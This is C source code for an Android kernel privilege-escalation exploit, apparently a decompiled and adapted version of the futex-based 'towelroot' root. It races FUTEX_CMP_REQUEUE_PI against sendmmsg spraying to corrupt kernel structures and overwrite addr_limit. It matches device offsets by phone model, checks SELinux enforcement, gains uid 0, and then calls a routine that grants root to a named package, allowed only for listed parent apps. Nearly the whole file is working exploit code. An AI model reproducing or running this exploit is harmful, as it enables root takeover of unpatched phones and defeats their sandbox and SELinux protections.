            path = (const char *)ptsname(ptmxfd);
            if (path) {
                fdm = open(path, 258);
                if (fdm != -1) {
                    gbvar.HACK_fd = fdm;
                    //syscall(340, ptmxfd, v3, pipedes[1]); // #define __NR_open_by_handle_at 
                    syscall(340, ptmxfd, v3, pipedes[1], 0, 256, 0);
                    return 0;
                }
            }
        }
        result = close(ptmxfd);
    }
    printff("[open_ptmx_proc]exit\n");
    return result;
}

int search_good_num() {
    int ret;
    int sockfd;
    struct sockaddr_in addr;// = {0};
    pthread_t newthread;
    int pid;
    int pid2;
    int pid3;
    unsigned int *u4ptr;
    int i;
    int j;
    int val;
    unsigned int goodval;
    int goodval_add_1CD4;
    int pipefd[2];
    int ii;
    int v9;
    int realloc_ptr;
    int pthread_ptr; 
    int v13;
    int v25;
    void *map_addr;
    void *maped_addr;
    int p;
    int tmp;
    int pid_base;

    syscall(__NR_gettid);
    ret = syscall(__NR_futex, &gbvar.swag, FUTEX_LOCK_PI, 1, 0, NULL, 0);
    if (ret) {
        return 0;
    }
    sockfd = socket(2, 1, 0);
    if (sockfd < 0) {
        return 0;
    }
    
    while (true) {
        addr.sin_port = ((unsigned short)gbvar.sock_port >> 8) | (gbvar.sock_port << 8);
        addr.sin_family = 2;
        addr.sin_addr.s_addr = ret;
        if (!bind(sockfd, (const struct sockaddr *)&addr, 0x10)) {
            break;
        }
        ++gbvar.sock_port;
    }
    printff("[search_good_num]0.1...\n");
    if (listen(sockfd, 3)) {
        return 0;
    }
    gbvar.dword_11E44 = 1;
    while (accept(sockfd, 0, 0) < 0);
    printff("[search_good_num]0.2...\n");
    while (true) {
        ret = syscall(__NR_futex, &gbvar.swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &gbvar.swag, 0);
        if (ret == 1) {
            break;
        }
        usleep(100000);
    }
    printff("[search_good_num]0.3...\n");
    pthread_create(&newthread, 0, (void *)pi_state_helper_, (void *)6);
    while (!gbvar.sync_pi_state) {
        usleep(100000);
    }
    printff("[search_good_num]0.4...\n");
    gbvar.swag = 0;
    syscall(__NR_futex, &gbvar.swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &gbvar.swag, 0);
    while (!gbvar.sync_sendmmsg) {
        usleep(50000);
    }
    printff("[search_good_num]0.5...\n");
    setup_list_node((void *)(gbvar.MAGIC_be0800 - 4));
    ret = create_thread_ret_pid((void *(*)(void *))open_ptmx_proc); // /dev/ptmx
    pid = ret;
    if (ret != -1) {
        u4ptr = (unsigned int *)(gbvar.MAGIC_be0800 - 4);
        if (!u4ptr) {
            goodval = 0;
        } else {
            i = 0;
            while (true) {
                val = *(u4ptr + i);
                //printff("[search_good_num]val: %x\n", val);
                if (val > 0xC0000000) {
                    break;
                }
                ++i;
                if (i > 0x11) {
                    usleep(100000);
                    i = 0;
                }
            }
            if (!gbvar.goodval_low_bit) {
                gbvar.goodval_low_bit = val & 0x1FFF;
                val = *(u4ptr + i);
            }
            goodval = val & 0xFFFFE000;
        }
        printff("[search_good_num]0.6...\n");
        goodval_add_1CD4 = goodval + *(unsigned int *)(gbvar.dev_base + 0xB8); //goodval + 0x1CD4
        printff("[search_good_num]goodval: %x\n", goodval);
        gbvar.swag = 0;
        gbvar.pivot_ti = goodval;
        gbvar.pivot_old_fs = goodval_add_1CD4;
        kill(pid, 12);
        while (!gbvar.swag) {
            usleep(100000u);
        }
        sleep(1);
        printff("[search_good_num]0.7...\n");
        gbvar.swag = gbvar.victim_tid | 0x80000000;
        while (true) {
            setup_list_node((void *)(gbvar.MAGIC_be0800 - 4));
            syscall(__NR_gettid);
            printff("[search_good_num]0.8...\n");
            ii = gbvar.dword_19E88;
            if (gbvar.dword_19E88 >= gbvar.size_pid_buf) {
                realloc_ptr = (int)realloc((void *)gbvar.ptr_pid_buf, 32 * gbvar.size_pid_buf);
                gbvar.size_pid_buf *= 2;
                gbvar.ptr_pid_buf = realloc_ptr;
                if (!realloc_ptr) {
                    while (true) sleep(10000);
                }
            } else {
                realloc_ptr = gbvar.ptr_pid_buf;
            }
            printff("[search_good_num]0.9...\n");
            pthread_ptr = realloc_ptr + 16 * ii;
            *(unsigned int *)(pthread_ptr + 4) = 0xFFFFFFFF;
            *(unsigned int *)(pthread_ptr + 8) = 0xD;
            if (!pipe(pipefd)) {
                pthread_create((pthread_t *)pthread_ptr, 0, (void *(*)(void *))make_action, (void *)pipefd[1]);
                read(pipefd[0], (void *)(pthread_ptr + 4), 4u);
                ++gbvar.dword_19E88;
                close(pipefd[0]);
                close(pipefd[1]);
            }
            printff("[search_good_num]1.0...\n");
            pid2 = *(unsigned int *)(pthread_ptr + 4);
            v13 = wait_for_lock_res(gbvar.MAGIC_be0800 - 4, 0);
            *(unsigned int *)(pthread_ptr + 0xC) = v13;
            gbvar.pivot_helper_ti = v13;
            printff("[search_good_num]v13: %x...\n", v13);
            if (v13) {
                ret = check_val_less_bf0000(v13);
                if (ret) {
                    map_addr = (void *)(((gbvar.pivot_helper_ti << 8) & 0xFFFFF000) - 0x1000);
                    maped_addr = mmap(map_addr, 0x100000u, 3, 50, -1, 0);
                    gbvar.algn_19E8C = maped_addr; //*(unsigned int *)
                    //unsigned int *p19e8c = &gbvar.algn_19E8C;
                    //printff("[search_good_num]v1: %x v2: %x v3: %x\n", *(unsigned int *)0x19e88, *(unsigned int *)0x19e8c, *(unsigned int *)0x19e90);
                    printff("[search_good_num]1.0.5...\n");
                    if (maped_addr != (void *)0xFFFFFFFF)
                        break;
                }
            }
        }
        printff("[search_good_num]1.1...\n");
        gbvar.val_stack_lowbit = (int)((char *)maped_addr + (gbvar.pivot_helper_ti << 8) - (unsigned int)map_addr);
        gbvar.sync_signal_proc_state = 1;
        int killret;
        killret = kill(pid2, 12);
        printff("killret1: %d\n", killret);
        
        while (gbvar.sync_signal_proc_state != 2) {
            usleep(100000u);
        }
        setup_exp_2((void *)(gbvar.MAGIC_be0800 - 4), gbvar.map_addr_110000 - 0xC, gbvar.pivot_old_fs + 1);
        gbvar.sync_signal_proc_state = 3;
        while (gbvar.sync_signal_proc_state == 3) {
            usleep(100000u);
        }
        printff("[search_good_num]1.2...\n");
        wait_for_lock_res(gbvar.map_addr_110000 - 12, gbvar.pivot_old_fs + 1);
        setup_exp_2((void *)(gbvar.MAGIC_be0800 - 4), gbvar.val_stack_lowbit - 12, gbvar.pivot_old_fs);
        ret = create_thread_ret_pid((void *(*)(void *))make_action);
        pid3 = ret;
        printff("[search_good_num]1.3...\n");
        if (ret != -1) {
            tmp = wait_for_lock_res(gbvar.val_stack_lowbit - 0xC, gbvar.pivot_old_fs);
            gbvar.addr_limit = (tmp & 0xFFFFE000) + 8;
            kill(pid, 12);
            while (!gbvar.sync_flag_write_addrlimit) {
                usleep(100000u);
            }
            printff("[search_good_num]1.4...\n");
            p = gbvar.val_stack_lowbit;
            if (gbvar.val_stack_lowbit != 0xC) {
                memset((void *)(gbvar.val_stack_lowbit - 0x2C), 0, 0x400);
                *(unsigned int *)(p - 0xC) = 0x8B;
                *(unsigned int *)(p + 4) = tmp;
                *(unsigned int *)p = 0;
            }
            gbvar.swag = 0;
            kill(pid3, 12);
            
            sleep(2);
            printff("uid: %x\n", getuid());
            
            while (!gbvar.dword_19E78) {
                usleep(100000u);
            }
            while (!gbvar.swag) {
                usleep(100000u);
            }
            printff("[search_good_num]1.5...\n");
            p = gbvar.map_addr_110000;
            tmp = gbvar.pivot_helper_ti;
            gbvar.swag = gbvar.victim_tid | 0x80000000;
            if (gbvar.map_addr_110000 != 0xC) {
                memset((void *)(gbvar.map_addr_110000 - 0x2C), 0, 0x400);
                *(unsigned int *)(p - 0xC) = 0x8B;
                *(unsigned int *)(p + 4) = tmp;
                *(unsigned int *)p = 0;
            }
            gbvar.swag = 0;
            gbvar.dword_19E7C = 1;
            
            printff("kill pid2: %x\n", pid2);
			
	/*		printff("dump gbvar, size: %x\n", sizeof(gbvar));
			FILE *fp;
			fp = fopen("towelroot_dump", "w");
			fwrite(&gbvar, sizeof(gbvar), 1, fp);
			fclose(fp);*/
            killret = kill(pid2, 12);
            printff("killret2: %d\n", killret);
            //while (1) {}
            printff("[search_good_num]1.6...\n");
            while (!gbvar.swag) {
                usleep(100000);
            }            
            
            gbvar.swag = gbvar.victim_tid | 0x80000000;
            syscall(__NR_gettid);
            printff("[search_good_num]1.7...\n");
            j = 0;
            while (j < gbvar.dword_19E88) {
                pid_base = gbvar.ptr_pid_buf + 16 * j;
                if (pid2 != *(unsigned int *)(pid_base + 4)) {
                    v25 = *(unsigned int *)(pid_base + 0xC);
                    if (gbvar.MAGIC_be0800 != 4) {
                        memset((void *)(gbvar.MAGIC_be0800 - 4), 0, 0x400);
                        *(unsigned int *)(gbvar.MAGIC_be0800 + 8) = v25;
                        *(unsigned int *)(gbvar.MAGIC_be0800 + 0x1C) = 0x8B;
                        *(unsigned int *)(gbvar.MAGIC_be0800 + 0x2C) = v25;
                        *(unsigned int *)(gbvar.MAGIC_be0800 - 4) = 0x85;
                        *(unsigned int *)(gbvar.MAGIC_be0800 + 0x28) = 0;
                        *(unsigned int *)(gbvar.MAGIC_be0800 + 0x20) = 0;
                        *(unsigned int *)(gbvar.MAGIC_be0800 + 0X24) = 0;
                    }
                    gbvar.swag = 0;
                    gbvar.dword_19E7C = 1;
                    kill(*(unsigned int *)(pid_base + 4), 12);
                    while (!gbvar.swag) {
                        usleep(100000);
                    }
                    gbvar.swag = gbvar.victim_tid | 0x80000000;
                }
                ++j;
            }
            printff("[search_good_num]1.8...\n");
            gbvar.swag = gbvar.victim_tid | 0x80000000;
            write(gbvar.HACK_fd, (const void *)gbvar.val_stack_lowbit, 0x100u);
        }
    }
    
    printff("ret\n");
    printff("uid=%d\n", getuid());
//    while (1) {}
    
    return ret;
}


#if 0
struct msghdr {
	void * msg_name;				//0x0
	int msg_namelen;				//0x4
	struct iovec * msg_iov;			//0x8
	__kernel_size_t msg_iovlen;		//0xc
	void * msg_control;				//0x10
	__kernel_size_t msg_controllen;	//0x14
	unsigned msg_flags;				//0x18
};
#endif
struct mmsghdr {	// size ==>   0x20
	struct msghdr msg_hdr;		//0x0
	unsigned int msg_len;		//0x1c
};

void sendsocket(int sockfd){
	struct mmsghdr msgvec[1];
	struct iovec msg_iov[8];
	unsigned long databuf[0x20];
	int i;
	int ret;

	for (i = 0; i < 0x20; i++) {
		databuf[i] = gbvar.MAGIC_be0800;
	}

	for (i = 0; i < 8; i++) {
		msg_iov[i].iov_base = (void *) gbvar.MAGIC_be0800;
		msg_iov[i].iov_len = 0x10;
	}

	msgvec[0].msg_hdr.msg_name = databuf;
	msgvec[0].msg_hdr.msg_namelen = 0x80;
	msgvec[0].msg_hdr.msg_iov = msg_iov;
	msgvec[0].msg_hdr.msg_iovlen = 8;
	msgvec[0].msg_hdr.msg_control = databuf;
	msgvec[0].msg_hdr.msg_controllen = 0x20;
	msgvec[0].msg_hdr.msg_flags = 0;
	msgvec[0].msg_len = 0;

	ret = 0;

	printff("send_magicmsg 1: %d\n");

	while (1) {
#if 1
		ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
#else
		ret = syscall(__NR_sendmsg, sockfd, msgvec, 0);
#endif
		if (ret <= 0) {
			break;
		}

	}

	if (ret < 0) {
		perror("SOCKSHIT");
	}
	printff("EXIT WTF\n");
	while (1) {
		sleep(10);
	}

	return;
}

int send_magicmsg2() {
    char *v0;
    char *v1;
    char *v2;
    unsigned int v3, p12CDC, p12CDC_end;
    struct sockaddr_in *addr;
    
    unsigned int e;
	unsigned int f;
	unsigned int a;
	unsigned int b;
	unsigned int c;
	unsigned int g;
	unsigned int h;
    
    printff("[send_magicmsg]entry\n");
        
    addr = (char*)&gbvar.sock_data_buf +((psam)gbvar.dev_base)->a;
    v1 = (char*)&gbvar.sock_data_buf +((psam)gbvar.dev_base)->f;
    v2 = (char*)&gbvar.sock_data_buf +((psam)gbvar.dev_base)->e;
    v3 = ((psam)gbvar.dev_base)->b;
    int socket_fd_v4;
    unsigned int v5_data_start;
    
    gbvar.victim_tid = syscall(__NR_gettid); //get_tid
    
    while (!gbvar.dword_11E44) {
        sleep(1u);
    }
  	
  	socket_fd_v4 = socket(2, 1, 0); //PF_INET,SOCK_STREAM,0
  	if (socket_fd_v4 >= 0) {
  		v5_data_start = gbvar.sock_port;
  		while (1) {
  			unsigned short v5 = (unsigned short)v5_data_start;
  			addr->sin_family = 2;
            addr->sin_port = (v5 >> 8) | ((unsigned short)v5 << 8);
  			inet_aton("127.0.0.1", &addr->sin_addr);
  			if (connect(socket_fd_v4, (const struct sockaddr *)addr, 0x10u) >= 0) {
  				break;
  			}
  			sleep(1);
  		}
  		
  		//struct mmsghdr msgvec[1];
  		//struct iovec msg_iov[8];
  		/*
		 for (i = 0; i < 0x38; i++) {
			 sock_data_buf[i] = gbvar.MAGIC_be0800;
		 }
		 */
	  	int *p12BF4;
        int p12BF4_end;
	    p12BF4 = (int *)&gbvar.sock_data_buf;
        p12BF4_end = (int)p12BF4 + 224;
	    do {
	    	*p12BF4 = gbvar.MAGIC_be0800;
	  		++p12BF4;
	    } while ((int)p12BF4 != p12BF4_end);
	    

	    p12CDC = &gbvar.unk_11E4C;
        p12CDC_end = (int)p12CDC + 0x8000;
        *(unsigned int *)((char *)&gbvar.sock_data_buf + v3) = 1;
        do {
            *(unsigned int *)p12CDC = addr;
            *((unsigned int *)p12CDC + 1) = 0x80;
            *((unsigned int *)p12CDC + 2) = v2;
            *((unsigned int *)p12CDC + 3) = 8;
            *((unsigned int *)p12CDC + 4) = v1;
            *((unsigned int *)p12CDC + 5) = 0x20;
            *((unsigned int *)p12CDC + 6) = 0;
            *((unsigned int *)p12CDC + 7) = 1024;
            p12CDC = (char *)p12CDC + 32;
        } while (p12CDC != p12CDC_end);
        if (!setpriority(0, 0, 12)) {
            syscall(__NR_futex, &gbvar.swag2, 11, 0, 0, &gbvar.swag, 0);  //futex
            gbvar.sync_sendmmsg = 1;
            while (1) {
            	sendsocket(socket_fd_v4);
              //syscall(374, socket_fd_v4, &gbvar.unk_11E4C, 1024, 0);   //
            }
        }
  	}
    
    printff("[send_magicmsg]exit\n");
  	
    return 0;
}
int send_magicmsg() {
    char *v0;
    char *v1;
    char *v2;
    unsigned int v3, p12CDC, p12CDC_end;
    struct sockaddr_in *addr;

    unsigned int e;
	unsigned int f;
	unsigned int a;
	unsigned int b;
	unsigned int c;
	unsigned int g;
	unsigned int h;

    printff("[send_magicmsg]entry\n");

    addr = (char*)&gbvar.sock_data_buf +((psam)gbvar.dev_base)->a;
    v1 = (char*)&gbvar.sock_data_buf +((psam)gbvar.dev_base)->f;
    v2 = (char*)&gbvar.sock_data_buf +((psam)gbvar.dev_base)->e;
    v3 = ((psam)gbvar.dev_base)->b;
    int socket_fd_v4;
    unsigned int v5_data_start;

    gbvar.victim_tid = syscall(__NR_gettid); //get_tid

    while (!gbvar.dword_11E44) {
        sleep(1u);
    }

  	socket_fd_v4 = socket(2, 1, 0); //PF_INET,SOCK_STREAM,0
  	if (socket_fd_v4 >= 0) {
  		v5_data_start = gbvar.sock_port;
  		while (1) {
  			unsigned short v5 = (unsigned short)v5_data_start;
  			addr->sin_family = 2;
            addr->sin_port = (v5 >> 8) | ((unsigned short)v5 << 8);
  			inet_aton("127.0.0.1", &addr->sin_addr);
  			if (connect(socket_fd_v4, (const struct sockaddr *)addr, 0x10u) >= 0) {
  				break;
  			}
  			sleep(1);
  		}

  		//struct mmsghdr msgvec[1];
  		//struct iovec msg_iov[8];
  		/*
		 for (i = 0; i < 0x38; i++) {
			 sock_data_buf[i] = gbvar.MAGIC_be0800;
		 }
		 */
	  	int *p12BF4;
        int p12BF4_end;
	    p12BF4 = (int *)&gbvar.sock_data_buf;
        p12BF4_end = (int)p12BF4 + 224;
	    do {
	    	*p12BF4 = gbvar.MAGIC_be0800;
	  		++p12BF4;
	    } while ((int)p12BF4 != p12BF4_end);


	    p12CDC = &gbvar.unk_11E4C;
        p12CDC_end = (int)p12CDC + 0x8000;
        *(unsigned int *)((char *)&gbvar.sock_data_buf + v3) = 1;
        do {
            *(unsigned int *)p12CDC = addr;
            *((unsigned int *)p12CDC + 1) = 0x80;
            *((unsigned int *)p12CDC + 2) = v2;
            *((unsigned int *)p12CDC + 3) = 8;
            *((unsigned int *)p12CDC + 4) = v1;
            *((unsigned int *)p12CDC + 5) = 0x20;
            *((unsigned int *)p12CDC + 6) = 0;
            *((unsigned int *)p12CDC + 7) = 1024;
            p12CDC = (char *)p12CDC + 32;
        } while (p12CDC != p12CDC_end);
        if (!setpriority(0, 0, 12)) {
            syscall(__NR_futex, &gbvar.swag2, 11, 0, 0, &gbvar.swag, 0);  //futex
            gbvar.sync_sendmmsg = 1;
            while (1) {
              syscall(374, socket_fd_v4, &gbvar.unk_11E4C, 1024, 0);   //
            }
        }
  	}

    printff("[send_magicmsg]exit\n");

    return 0;
}

void *map_MAGIC() {
    void *addr;
    void *result;

    addr = mmap((void *)0x1000000, 0x100000, 3, 50, -1, 0);
    if (addr == -1) {
        //return;
        exit(1);
    }
    gbvar.map_addr_10000 = (unsigned int)addr;
    addr = mmap((void *)0xBE0000, 0x20000u, 3, 50, -1, 0);
    gbvar.MAGIC_be0800 = (unsigned int)((char *)addr + 0x800);
    //addr = mmap((void *)0xBE0000, 0x20000u, 3, 50, -1, 0);
    if (addr == -1) {
        //return;
        exit(1);
    }
    gbvar.MAGIC_be0000 = (unsigned int)addr;
    gbvar.map_addr_110000 = (unsigned int)((char *)addr + 0x10000);
    result = malloc(16 * gbvar.size_pid_buf);
    gbvar.ptr_pid_buf = (unsigned int)result;
    
    printff("[map_MAGIC]result: %x, MAGIC: %x\n", result, gbvar.MAGIC_be0800);
    
    return result;
}

//void main(int argc, const char* argv[]) {
void towelroot_main() {
    pthread_t newthread;
    struct utsname ut_sname;
    sam matchsam = {0};
    sam tmpsam;
    char phone_model[32] = {0};
    int n_phone_model_len = 0;
    struct stat s_stat;
    //char **pp_argv = argv;
    int v20 = 0;
    
    //int arg0_len = strlen(argv[0]);
    prctl(PR_SET_NAME, "pvR_timewQ", 0, 0, 0);
    
    //if (argc != 2)
    //{
    //	return;
    //}
    //    exit(1);
    
    //strncpy(pp_argv[0], pp_argv[1], arg0_len);
     
    if (uname(&ut_sname) == -1){
         goto bed;
    }
      
    __system_property_get("ro.product.model", phone_model);
    n_phone_model_len = strlen(phone_model);
     
    int i = 0;
    while (i < g_sam_entires) {
        int n_phone_release = 0;
        memcpy(&tmpsam, &sam_all[i], sizeof(sam));
        if (strlen(tmpsam.model) == n_phone_model_len) {
            n_phone_release = strlen(ut_sname.release);
            if(n_phone_release == strlen(tmpsam.buildno) &&
                 !strncmp(phone_model,tmpsam.model,n_phone_model_len) &&
                 !strncmp(tmpsam.buildno, ut_sname.release, n_phone_release)) {
                
                if (!strncmp(ut_sname.version, tmpsam.version,strlen(tmpsam.version))) {
                    break;
                }
            }
        }    
        i++;
    }
    
    if(i == g_sam_entires)
        goto bed;
        
    gbvar.sock_port = SOCKET_PORT_NUM;
    gbvar.HACK_fd = 0xffffffff;
    gbvar.size_pid_buf = 0x20;
        
    //matchsam = p_sam[i];
    memcpy(&matchsam, &sam_all[i], sizeof(sam));
    gbvar.dev_base = &sam_all[i];
    if(!matchsam.a)
        goto bed;
    printff("[main]model: %s\n", matchsam.model);
    
    int sign = matchsam.selinux_mark;
    gbvar.found_selinux_key = matchsam.h;
    
    if (sign) {
        gbvar.sel_enforcing = sign;
    } else {
        int fd;
        fd = open("/sys/fs/selinux/enforce", 0);//read
        if (fd < 0) {
            if (!stat("/sys/fs/selinux", (struct stat *)&s_stat) && (s_stat.st_uid  & 0xF000) == 0x4000) {
                v20 = 1;
                gbvar.sel_enforcing = 1;
                if (!gbvar.found_selinux_key) { 
                    gbvar.found_selinux_key = sub_9594();
                }
            } else {
                int ret;
                unsigned int v25 = 0;
                ret = read(fd, &v25, 4);
                close(fd);
                if(ret >= 0 && sscanf(&v25, "%d", &v20) != 1) {
                		gbvar.sel_enforcing = 0;
                }else{
                	gbvar.sel_enforcing = v20;
                  if (v20) {
                    if (!gbvar.found_selinux_key) {
                      gbvar.found_selinux_key = sub_9594();
                    }
                 }
               }
            }
        }else{
        		gbvar.sel_enforcing = v20;
        		if (v20) {
        			if (!gbvar.found_selinux_key) {
        				gbvar.found_selinux_key = sub_9594();
        			}
        		}
        }
    }
    
    map_MAGIC();
    pthread_create(&newthread, 0, (void *(*)(void *))send_magicmsg, 0);
    search_good_num();

bed:
		return;
    //exit(1);
}

// 这里边需要加入进程名

///////////////////////////////////////////////////////////////////////////////

static void check_parent_pid() {
	pid_t pid;
	uid_t uid;
	char buff[260];
	int fd, n, valid_parent;

	const char* unsec_varsx[] = {
			"com.ijinshan.duba:DefendService",
			"com.ijinshan.kbatterydoctor",
			"com.cleanmaster.lite_cn",
			"com.cleanmaster.lite_cn:perms",
			"com.example.getroot",
	};

	pid = getppid();
	uid = getuid();

#ifdef DEBUG
	if (uid == 0 || uid == 2000)
		return;
#endif
	snprintf(buff, sizeof(buff), "/proc/%d/cmdline", pid);
	fd = open(buff, O_RDONLY);
	if (fd < 0)
		return;
	do {
		n = read(fd, buff, 32);
	} while (n < 0 && errno == -EINTR);
	close(fd);
	if (n < 0) {
		printf("Cannot determine parent process.\n");
		fflush(stdout);
		kill(getpid(), SIGKILL);
	}
	buff[n] = 0;

	valid_parent = 0;

	const char** cp   = unsec_varsx;
	const char* * endp = cp + sizeof(unsec_varsx)/sizeof(unsec_varsx[0]);
	while (cp < endp) {
		if (!strcmp(buff, *cp)) {
			valid_parent = 1;
			break;
		}

		cp++;
	}

	if (!valid_parent) {
		printf("Invalid parent process.\n");
		fflush(stdout);
		kill(getpid(), SIGKILL);
	}
}

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = 0, wait_time = 60, pid = 0;
	
	check_parent_pid();
	if(argc < 4) return 1;
	
	pid = fork();
	if(pid == 0) {
		towelroot_main();
		ret = !!getuid();
		printff("subproc ret: %d\n", ret);
		exit(ret);
	}
	
	while(getuid() != 0 && wait_time > 0) {
		sleep(1);
		wait_time -= 1;
	}
	ret = (getuid() == 0);
	if(ret) {
		do_root(argc, argv);
	}
	return ret? 0:1;
}
